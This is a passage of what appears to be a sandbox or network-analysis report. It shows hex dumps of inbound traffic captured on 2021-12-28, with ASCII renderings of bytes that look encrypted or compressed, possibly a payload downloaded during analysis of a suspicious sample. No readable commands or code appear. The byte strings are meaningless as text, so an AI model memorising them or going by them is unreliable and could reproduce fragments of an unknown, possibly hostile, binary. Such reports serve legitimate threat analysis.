85 65 43 9f 52 6a 72 e0 04 9e 01 e1 d6 3c ab 00 f2 5f 61 cf 83 15 12 b2 13 cb e4 21 4f 10 b4 41 82 bc 18 df 15 8e 38 bc d6 a3 de cc b4 a1 30 59 74 72 7a 17 21 46 b0 cb c6 bd dd 05 e3 be 33 77 68 9c bb 79 9a ed 1e 4a e3 56 e8 2f ec 37 cf Data Ascii: jX-*'\|}G]Qu^]%nAXZ\Z?Db&&ZCK\+nI%i!=OqD}X&J+i(&G}Wv6)Jv !Y/)Zs9eCRjr<_a!OA80Ytrz!F3whyJV/7
2021-12-28 17:13:33 UTC	2339	IN	Data Raw: 9b 53 1f 9d b7 30 70 41 ab ca 49 b8 b1 a4 d7 ce 8f 6b 18 83 97 e3 90 d4 3d d7 f4 a1 b5 74 a3 bf 02 a5 46 d3 e2 8a 3f cf 77 b5 c2 39 83 9a f2 50 68 59 b9 0d 32 ea 13 96 11 9e 33 38 cf 97 5a 9b d9 c9 52 0b dd 51 5b 66 3c 49 2b e7 7d 1b c3 2e 78 05 bf 16 ee a7 b7 c8 af 98 68 56 ed 25 22 83 8e e6 23 2d b6 b5 37 db 83 ef d2 15 24 64 5f 99 a3 d8 c4 b3 88 a5 dc 85 03 cb e4 f9 16 93 6c 93 28 9a 14 65 47 b0 63 18 c4 4a 9a 02 15 09 c2 23 98 a1 12 b3 46 89 c4 3b 89 0d f2 91 32 d2 ff 45 70 a8 00 81 03 74 f1 b4 25 41 46 09 75 ae 63 36 ed f2 c2 9d 65 91 03 e5 c0 a6 92 4c 5d 85 d9 ae 78 ad 8a 20 7d 1a 59 03 de c1 e1 23 d5 00 ff fe 51 7c 38 79 cd 2b 36 b3 61 3a 14 a3 84 b5 34 83 e9 62 c1 43 07 a1 96 31 a9 09 38 7b 80 a4 68 7c 43 ca 43 43 fc b3 a8 9f 96 ac d4 2b 0f 1f 7d Data Ascii: S0pAIk=tF?w9PhY238ZRQ[f<I+}.xhV%"#-7$d_l(eGcJ#F;2Ept%AFuc6eL]x }Y#Q\|8y+6a:4bC18{h\|CCC+}
2021-12-28 17:13:33 UTC	2355	IN	Data Raw: e9 9e 81 e6 27 ad 19 3b 35 22 10 fa 05 97 18 34 00 54 10 c4 3f 03 08 8e aa 61 93 e8 86 d1 e3 2b 17 2b 4c 12 f9 5c ee 95 2b 05 a2 3c f0 7b c6 ea b5 d3 00 81 13 f6 6b f8 9e f2 26 96 19 65 5e 5a 04 64 21 d2 8e 35 c8 17 c1 6d 12 34 4d 9d 3a 59 a7 5b ce 39 83 9d 41 bc 40 39 ff 3c 79 c6 3e bc 53 be 68 fd 8f 49 f5 53 c0 b7 ec 59 63 9f 04 37 d5 70 7e b2 3b 85 a0 9a 54 fd 7f 93 a7 34 42 eb f7 e4 04 50 3b 87 8e e1 15 dd d9 7e d5 9b 44 e9 36 4f 3d af 06 d6 ed 55 bc eb 81 90 d9 74 7c 2b 4d 14 8b 61 92 60 4c df 51 05 13 f0 23 fe 4a 36 50 75 72 16 35 db e6 bc 1a 0e 84 2b ef ed 0c 2f d7 df d2 2e 55 ab 66 7d 0f 13 e7 26 ca 71 47 47 2d bc f4 32 d3 ad ca d0 9e 26 ca a5 9e c5 ca bf 2d 50 43 05 7c de 2c 4b 9b e6 09 57 45 f6 4d 59 32 ac 44 28 f5 5a 81 ce 35 dd 17 18 00 a8 ac Data Ascii: ';5"4T?a++L\+<{k&e^Zd!5m4M:Y[9A@9<y>ShISYc7p~;T4BP;~D6O=Ut\|+Ma`LQ#J6Pur5+/.Uf}&qGG-2&-PC\|,KWEMY2D(Z5
2021-12-28 17:13:33 UTC	2371	IN	Data Raw: b3 3f 99 47 c1 dd da cc 28 38 1b 9a b7 b1 8c 39 92 be aa 02 b2 6e 57 63 5f 88 19 ab 8c d4 0e 2f f8 0c 53 d8 22 5a 23 40 c9 c0 12 e8 bc 7e 93 95 84 fd 8c fc e8 89 78 9a 73 f3 40 94 62 94 df 7b 41 0f 18 25 73 1f b5 ca 79 19 6a 42 0f 0f c5 0a c2 d4 f1 ca 65 ae 52 43 b7 97 30 ff e6 9a 76 fa 68 fd e2 ff fd 9f 79 89 0e f3 3c 00 f5 02 b3 6f 50 25 d9 fd 17 78 19 4b d4 14 a2 e1 30 e8 0e bf 96 6f bc a4 d1 13 06 3a ac d6 f1 27 1e e4 0a 2c 1e 7e 0e d6 6e 47 53 d2 ed de 23 88 17 5f 08 02 34 c4 82 0e 9a d6 ea b5 b7 e0 78 66 93 fd 95 13 52 99 61 6e eb 24 ca ba 55 ee ee 52 bf 64 44 da 51 9e 91 be 50 3b af 51 ce 3f 00 31 8d 88 7c a6 9a e4 1c bc b5 e2 f6 b8 81 e7 15 db ff 7c 58 2c 50 1b eb da 45 9e 64 60 9d 7f fd 53 31 b9 bd f9 af 27 7f 31 a5 ed 32 d7 e9 b4 5b 9c e2 59 4f Data Ascii: ?G(89nWc_/S"Z#@~xs@b{A%syjBeRC0vhy<oP%xK0o:',~nGS#_4xfRan$URdDQP;Q?1\|\|X,PEd`S1'12[YO
2021-12-28 17:13:33 UTC	2375	IN	Data Raw: c7 f3 28 eb 4c 77 69 73 03 21 3f 9c 76 34 63 58 57 87 1c 1c 72 8e 9c db c1 95 61 41 40 f6 3c 89 47 a4 17 88 42 36 5f bf 88 01 d8 cb 15 b7 f4 2f da 31 a1 ac 86 11 78 a4 13 30 79 89 08 0a 0f 95 08 47 f1 5c 4e aa fb 91 92 25 1e 47 a4 26 9a 38 0c c7 05 82 45 23 02 00 03 70 1f 6d 0d 0a 58 be 89 be a5 10 e0 21 dd 98 10 37 e8 22 13 8c a1 9a f8 24 c5 cc 45 94 f4 10 e3 b7 4b d3 e2 52 3d 4f 3d af fc 43 a8 32 ff 2e 00 07 35 39 63 8e f3 5e 86 7d 7e 02 08 a5 26 5d a3 64 77 50 27 63 17 08 f9 70 d7 c9 30 9c 07 eb 73 cb d4 0b ab ee b3 b5 49 fa bc 0d b2 b0 d9 83 7a 0d 5a 00 c9 a3 b6 c6 f9 e6 57 bc ff ae b3 2a 30 eb c8 87 6f 8b 71 f1 ab 5f 5c 58 ee 40 46 06 f7 8b 70 3f 9b e6 88 6f d5 de 4f b3 a8 62 b1 5d 87 a4 4f 60 d0 2d 67 5d 64 d9 f1 17 1e 8a c8 8c a3 20 bc 49 23 78 42 Data Ascii: (Lwis!?v4cXWraA@<GB6_/1x0yG\N%G&8E#pmX!7"$EKR=O=C2.59c^}~&]dwP'cp0sIzZW*0oq_\X@Fp?oOb]O`-g]d I#xB
2021-12-28 17:13:33 UTC	2391	IN	Data Raw: 34 cd 71 13 0c 63 87 56 2a 66 c7 16 ee c0 80 aa 5a a8 b1 b6 f3 1d 94 fe cf 3d ca 7d fc 12 04 fc aa 29 ac 1a 6a 39 ae 59 e0 4d 2b c7 39 c2 a9 e7 8f 69 71 a3 78 1a 5c d8 c0 e5 d0 79 e9 1d 2b c8 fe 20 33 db 31 44 e6 49 f4 94 a5 9f b4 9d c2 86 74 15 50 85 c7 4f 52 e9 6a 57 b9 21 ad 4a f7 3e ef b3 92 a3 56 61 44 ae df 33 7d 2a 05 39 1b 68 84 b4 e0 c5 be a5 f3 4a a6 29 c1 b8 b9 be 3c 95 4d a7 0c ce 0a 1c 54 3a 55 ec db 37 f0 5d 62 47 ad 44 9b c1 bd 58 52 79 2e 78 28 4d e3 55 32 9f be ec 28 94 7c c8 b0 51 00 df a0 e1 be 5f 0e 61 74 3a 1d 3d 6f 33 3b 29 60 d4 29 b0 05 aa 82 84 2d 50 d9 d7 16 75 37 03 02 29 4a 25 47 97 f3 53 b2 88 3d 3d 75 7e 2f bb eb 5a eb 6a e3 dc 95 87 39 20 3c f1 b9 40 54 75 4d 67 7e 15 ba 29 75 7b 45 e9 bb fe 71 8c 82 a4 59 54 ba d2 0d 41 4c Data Ascii: 4qcVfZ=})j9YM+9iqx\y+ 31DItPORjW!J>VaD3}9hJ)<MT:U7]bGDXRy.x(MU2(\|Q_at:=o3;)`)-Pu7)J%GS==u~/Zj9 <@TuMg~)u{EqYTAL
2021-12-28 17:13:33 UTC	2407	IN	Data Raw: a9 60 d9 d1 89 17 d3 6a 17 ea 21 1f 72 35 b1 17 b9 d2 86 93 44 86 70 49 4b c5 98 55 7a 34 58 0d 7e 33 5c c6 06 a5 6b e0 f0 61 35 3a 83 7f 36 c9 b4 b7 c0 b6 e2 a6 01 e7 cd f0 80 cf b7 b1 af d1 24 02 68 b1 38 ea d9 45 42 95 cc 38 ff 7f 50 1f e6 7d 79 6b 0d eb c9 8e 45 a5 94 40 0b 5a d6 15 89 a6 09 8c 2d dc b2 86 52 11 75 c0 0a 8b d1 e8 a0 f1 44 e3 f7 88 73 d1 48 c9 0b a7 b0 1b c7 74 aa fc 90 eb d9 f5 27 19 3d ce 9a 69 06 f3 db f8 c0 fd 74 1e d9 6f e4 b1 f4 34 ad 26 da 03 f3 51 61 a7 f8 48 e5 0c 72 1f a0 e2 d6 15 df f9 a6 36 e7 b2 e9 13 ea 30 dd 8c 24 5d c7 5c b7 85 05 4e a9 22 b3 73 54 80 30 63 1a b8 1b 17 11 19 e9 19 67 e4 06 78 3b 4f b9 4a 49 2b a5 d2 c3 e2 ee 7f 31 55 b7 65 90 f4 72 fd 79 c4 f1 21 b4 97 7e fb 2b 0d 9c f7 4f 66 9a 8f 8c b7 83 7e 32 c9 c5 Data Ascii: `j!r5DpIKUz4X~3\ka5:6$h8EB8P}ykE@Z-RuDsHt'=ito4&QaHr60$]\N"sT0cgx;OJI+1Uery!~+Of~2
2021-12-28 17:13:33 UTC	2423	IN	Data Raw: 76 8e a1 53 d6 1a e1 46 d3 44 77 97 f8 44 25 4a 3e e5 6f 39 a7 25 26 40 9e 30 f7 57 47 ff 2e c8 f0 ac f6 22 ff 88 a5 5b fb 0d 79 87 c1 79 cf ac de eb 3e 5d 8a 6e ce 1b fe 08 02 d3 e8 63 97 79 8d 7e e8 f0 f7 30 e1 37 84 e9 91 de 70 21 58 25 f0 a7 22 e7 eb 17 59 4e 9a d9 9d 02 3d c0 0a 7d 83 15 88 88 47 ee ce 6a 73 d5 e1 93 ee d3 66 ac 8e fe 86 9b 2b 45 e4 9e fe 77 54 ec 49 3a 34 d8 36 85 f8 83 39 94 e3 2f 45 1e 27 2f 14 f3 87 5e b9 ba de 52 36 9f c1 73 c1 62 9d 70 82 86 55 42 38 d0 dc 3c f5 e1 fb b6 fe 3f b7 33 fb f4 48 8d 82 a0 9c 18 d4 1d 43 ad 51 47 d7 8a 4d 96 0a 32 9f 68 ce c1 7b f8 ff 8c 55 24 d0 55 83 36 aa 68 42 b5 51 a2 d2 ea 19 de 85 c8 ab eb 89 76 a9 0e 97 e7 bb d9 93 e9 b4 85 7b 71 a8 28 5a 84 a4 5d c5 ce 74 30 b4 b1 d8 2b 6c 70 85 54 64 df 77 Data Ascii: vSFDwD%J>o9%&@0WG."[yy>]ncy~07p!X%"YN=}Gjsf+EwTI:469/E'/^R6sbpUB8<?3HCQGM2h{U$U6hBQv{q(Z]t0+lpTdw
2021-12-28 17:13:33 UTC	2439	IN	Data Raw: 29 a1 31 f8 0e 05 ab 76 1b 19 57 da 80 42 60 15 d6 de 52 df 09 d0 e2 59 bd 11 1a a7 f1 a1 73 f9 08 e1 64 d4 d4 f2 39 d6 9c c9 45 27 44 4a 1a ce cd 3b ae f6 81 78 c3 bc 3c 28 21 ee 9a a6 fd 57 4e 8a 70 9b 63 9c a7 4f 64 90 9a f2 23 ed 76 40 b9 c7 43 3f 1c 3a 0a 3c 12 d0 8d 18 34 65 89 26 a2 a3 c1 4a 24 52 64 91 4d 19 f6 01 20 f9 c1 00 c3 b5 1b 38 ee f8 a8 da c5 95 b6 0a 7a 11 c5 20 4b f1 8e c4 0d 53 8a 39 45 e0 16 7c cb 63 f9 ea e6 55 ec da 92 1f 1e 41 25 66 10 a8 65 3f 30 ba bb 85 b0 70 31 c3 ec e6 b6 4c 6f 89 d9 d8 16 72 f0 ec af c9 a3 fe 42 9f 56 eb c7 7e 5a ed 19 83 93 55 b4 e9 67 66 07 17 a4 f3 8e be d3 a1 58 f8 36 cc 42 66 7b 40 bf 6c ca 73 56 55 3c fe c7 97 07 7d a2 03 9f 17 1e d6 a8 a3 e6 0d e4 28 a2 f5 5e 3e b3 59 bb 2f 6a f9 6d 46 7b 07 9e 4a 18 Data Ascii: )1vWB`RYsd9E'DJ;x<(!WNpcOd#v@C?:<4e&J$RdM 8z KS9E\|cUA%fe?0p1LorBV~ZUgfX6Bf{@lsVU<}(^>Y/jmF{J
2021-12-28 17:13:33 UTC	2455	IN	Data Raw: db b8 ed 91 b9 04 d7 64 dd 29 3b 34 15 ba 15 6f aa 09 fc 2b e1 a5 d8 32 72 8c cc 4b 56 e9 d7 ca 77 55 14 80 9e eb 71 10 f9 58 b6 76 59 de ab ad de bc 8e 7c 6f 0e 73 c3 63 5e dd f5 d2 18 92 c0 68 35 62 1b af 8b fb df f3 ab 2c 7c ae 35 c1 bb 82 e1 42 f2 fa af 20 6b af bd 89 09 21 1d 21 6f 71 89 62 9e 64 7b 3c ff ae 66 48 cf 9a 45 45 8c ff 05 2f cd 3d d1 35 9b a4 e5 6e 9d 34 29 2c 69 5f 75 7d 53 8b d5 d9 e7 46 2a 99 b8 45 97 1a b2 e6 2d 15 2d 5b 1b 87 59 bf a5 6d 73 bf b2 32 bd 42 67 b9 f2 0c bc 60 d9 18 8d cb 28 7e 69 83 3c 18 7b 7e d1 85 d6 99 0c 43 5e 0d 71 1d 65 3d 02 45 70 f2 cd f2 5d fc 1b 44 d4 3f a0 f8 0b 6f c0 7c 45 8b e4 ed f6 de 0c 6f f1 fa a7 f9 a5 35 7f a1 f7 6e 27 09 14 0b dd ab 15 7d 87 dc 95 88 c1 1b b7 f3 86 62 8b db 08 7c 11 de 23 ab dc 92 Data Ascii: d);4o+2rKVwUqXvY\|osc^h5b,\|5B k!!oqbd{<fHEE/=5n4),i_u}SF*E--[Yms2Bg`(~i<{~C^qe=Ep]D?o\|Eo5n'}b\|#
2021-12-28 17:13:33 UTC	2471	IN	Data Raw: d5 60 3f 8a f8 bf b1 7b b4 f7 71 c9 97 9d b9 0f e6 8d fd 17 29 62 ac 6e 2c 95 7d 25 e6 64 b4 1c 92 25 76 2a 18 5e 4d ec 71 61 e6 96 5a 51 f8 fd 46 65 e3 61 01 62 94 47 80 7c 14 85 9e 50 cf a8 10 81 3a 07 f7 ac 52 2f 69 00 01 7e af 12 4d 3c 91 de df af 58 d7 42 63 89 d9 de ab 14 77 c4 f3 bb 57 b6 42 08 42 d1 3d 3b 60 89 35 69 a9 1c c6 48 3e 32 44 67 e9 d1 dc 0a 34 7e dd b2 1b f8 fa b8 de 8c fc 04 9c 2a c0 92 f3 9d c1 df d3 e6 60 d4 2f d7 1a 53 61 4d b4 68 cc 04 8c 09 38 f9 8e 42 ac 9f 93 d9 05 91 35 d7 ac 9b 7d 7e 52 83 02 b2 8b bc 00 2c e1 21 fd 7f be 4e fd 1b 2b 5a 32 c0 d9 c1 a3 ac 35 3c fe 3b 6c 8d 57 3b 91 65 09 82 5e 53 cd 53 27 1d 96 68 2c fc eb f9 9d 05 95 62 55 2b a5 7a e7 56 3b c2 c0 d5 f2 8e c4 77 82 5f 67 59 91 2e f9 a7 62 4d 64 8a 9f 03 c9 2e Data Ascii: `?{q)bn,}%d%v^MqaZQFeabG\|P:R/i~M<XBcwWBB=;`5iH>2Dg4~`/SaMh8B5}~R,!N+Z25<;lW;e^SS'h,bU+zV;w_gY.bMd.
2021-12-28 17:13:33 UTC	2487	IN	Data Raw: 19 f4 c7 37 2c 07 fe 43 01 d7 44 96 91 af 31 ff 10 28 ad 14 af 80 67 e9 f9 5b 3c 43 56 83 d3 5c 52 17 31 ae 23 81 bb 8f 02 74 f5 71 f0 16 86 b0 a7 4a a8 e5 e9 b5 db f3 42 f1 55 e9 8b 16 90 88 9e fb 4d e8 79 bc ee 9f 57 46 4e 1e ca 25 0a d7 63 92 0a 16 02 09 4c 3b b4 02 39 21 28 52 2c 58 71 db 29 62 3a 2e f3 01 79 30 b0 d0 67 92 35 a6 39 c4 82 e2 57 37 3b 9b 41 26 32 e0 af 23 73 c9 31 02 ff b8 ce b7 b2 40 62 33 4d 29 1b ff 6a bc 7a 6d ef 6d 92 8f 2b e1 42 a3 a1 2c 1a 2e 23 14 d3 b5 f3 ef b3 de 58 23 d8 12 80 a7 f7 c3 92 ab d4 72 71 fb 51 1f 09 4e 9b e5 bf 77 1d cb 33 f8 b4 1e 33 e4 99 aa 18 2d ce 23 a4 c8 64 dc 71 75 5f 3e 8e 2b fc 23 67 11 c1 38 47 97 12 b3 28 1d 62 03 8d bf d6 f0 9e 57 b0 d1 a8 74 f4 57 37 57 eb 26 d0 af 1d f5 c9 de 17 55 82 9e 4d cf 0d Data Ascii: 7,CD1(g[<CV\R1#tqJBUMyWFN%cL;9!(R,Xq)b:.y0g59W7;A&2#s1@b3M)jzmm+B,.#X#rqQNw33-#dqu_>+#g8G(bWtW7W&UM
2021-12-28 17:13:33 UTC	2503	IN	Data Raw: e4 7f 9a 3e 1e fe 7f aa ba 7f 60 27 c0 d9 fb ec 6e e3 58 2f e0 2e 08 0f 04 21 ce d8 22 e3 40 da d2 8b 68 d0 df 4f f4 0c 35 01 57 4f ea dc ab 40 7b b1 0a d0 a8 94 39 aa 64 a4 89 2c 7a 78 6e 20 ae fb 47 9a 6c f7 92 30 9f b9 9e 00 cf 25 23 7e b4 f5 08 24 e1 6f 4d d8 31 51 cf a8 82 64 d0 cd e5 2b 66 f0 20 ef b0 08 87 2e da 98 0c 9e 0b 26 21 4f db b7 6e ec 69 26 fa ee 49 25 f2 5b 41 09 0b 75 03 da a9 88 23 1f 70 4e 8c ec b1 85 ef d0 66 9f a4 10 4b ab 13 c9 17 d9 5d a2 b0 c1 ea f0 01 57 3e 56 32 9d 1b 0e f9 23 53 d5 36 91 df a3 09 3b 1c 16 f8 95 16 6f 3d 59 8c c4 e3 a6 d9 85 e1 79 1a a1 37 51 1e fb 64 e2 93 45 05 0f 77 17 fd cb 6d f3 7f 29 d7 2e 0e f2 84 97 e9 d6 5f da 38 87 54 0e 09 3b 1e 6c 29 4b 47 5d 88 e4 6a 9f bb ca 1d 24 f5 55 1f 42 f6 6b f6 f9 2e 82 d0 Data Ascii: >`'nX/.!"@hO5WO@{9d,zxn Gl0%#~$oM1Qd+f .&!Oni&I%[Au#pNfK]W>V2#S6;o=Yy7QdEwm)._8T;l)KG]j$UBk.
2021-12-28 17:13:33 UTC	2519	IN	Data Raw: 03 b8 65 01 c0 cf 51 c4 f7 78 86 0f 8d c0 b2 cf 51 98 33 f2 88 0c 35 4d e7 06 d0 c5 25 31 a8 71 c8 d6 21 8e 97 e5 51 fc 72 8d bf 19 31 bc b1 3a c3 85 68 f1 ef df 3f a8 01 48 45 22 f0 1a e0 7c 13 2e 5d cb 6c 72 bb be c7 82 2c 6c c6 e3 b4 fd 7a b1 a0 92 12 53 5a 96 d7 67 a1 0e 7d 3c d0 0d f5 49 85 5a fe 53 e5 b3 74 e4 fb d9 03 8d 31 19 e5 fa f0 98 cc 5d a8 9c 63 48 2d f6 25 cc d5 0c ab a7 02 dc 4c 57 5d 01 6e d9 9d 25 3f a8 0f 8a a6 b8 fd 62 19 44 90 da 23 79 cc 57 22 5a 89 3e ff 82 a5 9c 13 e9 d6 70 cf dd 07 5b 35 49 f3 5a 46 3f 8e 35 b8 10 98 71 cc 1e be 59 f5 d0 9a bd 63 85 dd 39 8f 0c 0b e3 2f 88 f6 d3 0c 8a 63 a4 ee f4 1c 9a df 89 92 06 11 d4 bb ac 3a c2 c3 de 7a 46 42 1b dc c8 01 de 19 e1 ef 2c a3 8b 22 d6 07 cb dd de 16 a2 41 40 a7 ca 7d 6c 2f 33 26 Data Ascii: eQxQ35M%1q!Qr1:h?HE"\|.]lr,lzSZg}<IZSt1]cH-%LW]n%?bD#yW"Z>p[5IZF?5qYc9/c:zFB,"A@}l/3&
2021-12-28 17:13:33 UTC	2535	IN	Data Raw: d9 a3 fa 1f 24 09 63 38 ca 49 be 82 47 c0 5f d5 16 65 5f 2b 31 4d 55 56 cb 31 7d 47 e4 75 98 73 be 69 26 ab 74 9f da c8 8e 08 48 65 4b 38 b1 26 53 96 20 db 45 a3 39 9d 40 1d e3 df 1d 5d 4e 5c e7 b3 dc d6 9a 06 2f 4e ac 37 df f8 3d 5e 9f 9e 9a 1c a6 ad 3d 67 90 7d fe e2 b9 0b af 03 b0 5f a1 1e 2e e7 da d9 f9 fb 66 01 53 4d f0 36 64 a7 26 03 ae b7 0d 1d b1 3e 6f 50 72 6e 2f 28 8c 4d 63 f1 cc 1c 8a 9e 77 13 02 be 50 ac 26 a8 05 2f d5 3d ba ad e7 79 b2 21 71 13 13 32 97 2a 9e 7b 8c 43 bb db 8e 07 cb 24 35 86 d5 6b d6 cc b8 fc 02 22 ec 62 d3 10 74 14 46 33 3d b9 38 d7 ae bd 35 b1 81 08 66 5f ef 92 cc 2d e0 cf 5c e2 07 a9 9d e7 c8 54 e2 4a 76 11 6f e8 27 84 29 6a 02 b0 3e 0f c4 5e 2e 1b 63 22 ba 43 36 a9 bd 85 e8 2b c8 3f 45 5e b7 36 a1 31 59 92 c5 f3 0b 46 7c Data Ascii: $c8IG_e_+1MUV1}Gusi&tHeK8&S E9@]N\/N7=^=g}_.fSM6d&>oPrn/(McwP&/=y!q2*{C$5k"btF3=85f_-\TJvo')j>^.c"C6+?E^61YF\|
2021-12-28 17:13:33 UTC	2551	IN	Data Raw: 12 2b 31 46 72 a2 c5 fa 5b a5 dc 94 b8 b6 db c4 7f 81 eb c5 13 de 4d cc 2a 9b 74 c2 eb d5 5e a5 b5 db 31 ae db 9c 28 04 37 44 91 4c 5d 57 5f d1 68 81 85 d3 c4 f0 64 f2 83 1f 52 17 60 5f e0 fb ae f7 2d c8 ea 4a f6 79 a1 b4 6d 02 b7 a7 d6 73 f9 fe f6 0c 5f 36 80 19 c9 94 0a 87 a0 0f d4 93 37 8d e5 00 d6 4a d6 56 f2 cd 75 fa e1 d1 d0 7a 59 e2 34 94 ca 66 8b f5 ff 21 c9 54 d4 d4 1e 78 7b c9 95 62 91 76 66 bc 1f 07 9c 53 23 8b dd 80 38 e9 1e 14 1e 94 b6 ca bd b5 a1 6d d0 3a 99 f7 22 c5 67 a2 82 7d 47 4d 92 af 03 f1 48 e6 65 e4 76 e6 1a 2a d7 3a 24 87 3a 00 c1 3d fa 60 ea a0 fe be ae ca 5b 32 7b e3 26 37 b0 51 af e3 0d 0b 6a bc 93 18 e0 b0 8d c5 75 ec bc 74 f0 56 a1 ff b5 e1 fc 96 d9 b5 1a 30 e9 cb b2 58 18 d5 eb 22 5f 27 c8 7f 0e 05 95 c9 6e fc 98 0f 24 e0 c9 Data Ascii: +1Fr[Mt^1(7DL]W_hdR`_-Jyms_67JVuzY4f!Tx{bvfS#8m:"g}GMHev:$:=`[2{&7QjutV0X"_'n$
2021-12-28 17:13:33 UTC	2567	IN	Data Raw: b7 35 2f 68 c6 8e e9 b8 1d 1e a5 32 40 01 09 4c 94 7e 4f fe c5 ad 6c 34 bc ed 70 59 20 08 2e 4a 94 f7 74 d7 5e 95 d2 84 fc 46 47 34 27 69 31 ec de ec 20 85 66 ec f6 95 36 1c d8 89 57 0a 3a f8 06 31 de 8d 51 4a 42 d1 61 cf 8b 0a 27 dd 35 d6 82 5d 27 3e 91 87 c4 6f ce 36 40 09 b8 39 7b d2 39 49 70 d0 5c 15 b2 3a 53 4d 5a 4d 15 25 3b 5c 79 e8 af a5 f2 cc 40 b0 74 03 97 63 14 06 5f 38 d0 79 ff b4 c3 a0 36 a8 55 97 78 71 d6 c0 05 f3 54 42 dc 4c 58 e4 60 3d dc 23 6a 55 19 f6 99 fa 05 76 27 67 11 17 f7 63 50 de 3e 9a 2b fe 1c 93 27 d3 9d 57 bb a9 a8 a7 7f 85 4b a0 08 1f 00 af 9e fa bf 2d 66 74 b0 62 28 3e 19 9f 55 67 bf 8a 3c 96 0d e6 4f cf 54 e4 de d5 b0 53 d6 67 e9 4e 22 68 04 c0 05 cd 08 69 e9 f2 31 8b 45 a1 f7 a4 6e e0 9e ed ff 23 19 71 61 9b c7 9d ec 8e df Data Ascii: 5/h2@L~Ol4pY .Jt^FG4'i1 f6W:1QJBa'5]'>o6@9{9Ip\:SMZM%;\y@tc_8y6UxqTBLX`=#jUv'gcP>+'WK-ftb(>Ug<OTSgN"hi1En#qa
2021-12-28 17:13:33 UTC	2579	IN	Data Raw: c2 b5 0c e3 ba 39 47 5c 1d 9a 70 0f 7c ab be 9e 9f 23 e7 96 b8 81 c9 5b 61 68 ae 4e 31 ec 3a 28 2e 10 41 12 37 94 3d c9 5a 80 a2 34 ab 92 e3 e9 be 30 c5 52 0f 6d 15 b6 d6 dc 29 b4 4e 8a 33 7d 49 36 fe da a4 c6 47 fa 63 f7 13 4a 75 08 9f 96 a5 a9 23 0c 9e 8c 4f d2 5c 77 6c c3 4e fd 91 36 f7 5e 48 3a d0 a6 12 e6 6b 27 4e 7d e5 af a8 2d a5 7c 90 93 1a 4e 77 e8 38 f5 e8 88 59 fb a9 3f be a3 38 54 0f 55 17 71 67 fa be 6a 74 c6 ec 2c 8f 54 d9 57 be 82 8d 88 d8 f3 4b f2 27 8f 50 50 e3 dc e1 a3 43 06 cb 32 5f 6f e0 76 65 fb 56 e6 e7 55 3e e1 be dc d5 2f 38 28 c8 d4 09 c6 ce 02 63 d0 8d 54 b9 dc 15 22 0c fd 08 63 88 49 c8 a8 96 03 49 2f 22 e3 8b 1e fd ce 21 ff 4d 6c ae 68 06 92 43 f7 1c fb a3 30 fd bf 81 08 3c a8 1a 2b 8f 44 88 15 09 c5 bc 1e 95 f7 f5 ac 6b 64 6c Data Ascii: 9G\p\|#[ahN1:(.A7=Z40Rm)N3}I6GcJu#O\wlN6^H:k'N}-\|Nw8Y?8TUqgjt,TWK'PPC2_oveVU>/8(cT"cII/"!MlhC0<+Dkdl
2021-12-28 17:13:33 UTC	2595	IN	Data Raw: 77 1f 53 d8 79 fc c4 e6 84 11 0e f7 36 4b 37 97 6b 1e 41 2f ad 0a 71 a4 12 b4 ca ba 15 b1 b0 48 c1 f5 bf d8 e8 f1 63 28 52 f8 ea 85 04 34 40 67 85 ac 6f 25 c3 2f f5 5f 07 fe ac 83 b6 0f 6e d9 0e 2b 36 8f e2 0a 58 c5 b3 91 d7 cc be 66 1d 3d c1 56 e1 7e 0b 7c 65 30 0f 32 d3 c4 e4 4a 21 ec e5 9a f1 44 c4 bd 49 4c 3b ae 61 05 2d 51 1a e4 4b 94 0e 23 76 49 33 91 59 2a 2d 2c dd 47 5e f2 6d 0a 0f d5 80 8a e2 cf 51 00 44 63 22 a3 0d 89 1c 8e 92 f8 f2 36 b8 43 2e 51 1b c0 bb 7d 4c 79 df eb 71 6e 5f b6 d4 44 fa ab d6 3f 0c ac 2c 9a 2e 17 01 9b 28 2c 36 ed 4e 32 0e 1d d6 0a 77 00 7d 85 e8 d0 de 97 d4 df 60 6e ae eb a9 ed f6 d9 94 8b a6 0a 67 a1 f3 86 6c c0 f1 ed 58 81 42 ab d2 79 7c d4 a5 84 9a 30 57 a5 86 c8 bb 47 f6 72 e7 e8 60 eb e1 01 e9 70 01 dd c3 4c 98 86 0b Data Ascii: wSy6K7kA/qHc(R4@go%/_n+6Xf=V~\|e02J!DIL;a-QK#vI3Y*-,G^mQDc"6C.Q}Lyqn_D?,.(,6N2w}`nglXBy\|0WGr`pL
2021-12-28 17:13:33 UTC	2611	IN	Data Raw: 31 85 df 0f d2 4f 83 70 94 e8 cc b9 f7 41 e0 0d ce 91 bb a9 29 a3 39 ec 51 79 0e 92 b3 18 17 b8 4e 69 e3 db 33 86 bd 04 48 e3 c2 6f 20 ad 58 42 ee 14 7c 90 82 2e 0c 3a 0b c8 b4 ca f6 d2 67 a0 01 bb 34 b9 e3 77 9b 85 fc db fe 73 b0 4e 36 0d 9b d9 1d c1 36 8e 26 1d 79 aa ca ca 5b 8f f5 ad 50 25 0b 60 de 91 85 58 f9 2b c4 33 6d ad a5 c6 84 33 21 10 42 21 df c7 cc 19 b5 4e e6 fe 01 28 45 53 6b 77 1d 83 96 bb bb 54 d2 6b 8a e1 42 78 26 af d3 9d 0b f5 b1 ae 19 99 86 9a 7f 60 05 80 31 78 fd 99 a6 78 86 bc 04 7e 83 61 9e 03 1a f1 2f 18 b8 c7 37 ea 49 c6 e9 37 e1 bb d8 1f 6b b8 41 67 45 b6 b6 8f 3e 44 89 06 1a 3b 69 20 89 7a bd 24 b8 44 cd 35 b1 49 ce b8 ed a7 fa ee 56 77 39 f6 c1 3f 79 df 28 eb dd 39 26 64 95 9b 42 d7 cc 2d cd 1e b9 8b 79 67 2c d4 50 e5 e3 93 ad Data Ascii: 1OpA)9QyNi3Ho XB\|.:g4wsN66&y[P%`X+3m3!B!N(ESkwTkBx&`1xx~a/7I7kAgE>D;i z$D5IVw9?y(9&dB-yg,P
